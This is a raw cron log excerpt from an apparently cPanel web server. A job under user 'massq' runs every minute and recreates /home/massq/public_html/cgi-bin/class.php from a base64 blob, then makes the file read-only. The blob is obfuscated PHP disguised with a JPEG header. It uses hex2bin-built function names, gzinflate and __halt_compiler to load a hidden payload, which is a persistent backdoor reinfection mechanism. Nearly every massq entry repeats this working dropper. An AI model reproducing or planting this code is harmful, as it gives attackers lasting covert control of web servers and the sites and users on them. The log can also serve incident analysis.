Nov 15 13:05:01 server CROND[2258]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:05:01 server CROND[2259]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 13:05:01 server CROND[2261]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 13:05:01 server CROND[2260]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 13:06:01 server CROND[2582]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:07:01 server CROND[2888]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:08:01 server CROND[3140]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:09:01 server CROND[3413]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 13:09:01 server CROND[3414]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:10:01 server CROND[3777]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 13:10:01 server CROND[3778]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 13:10:01 server CROND[3779]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:10:01 server CROND[3780]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 13:11:01 server CROND[4098]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:12:01 server CROND[4355]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 13:12:01 server CROND[4356]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:13:01 server CROND[4611]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:14:01 server CROND[4868]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:15:01 server CROND[5228]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:15:01 server CROND[5229]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 13:15:01 server CROND[5230]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 13:16:01 server CROND[5538]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 13:17:01 server CROND[5791]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
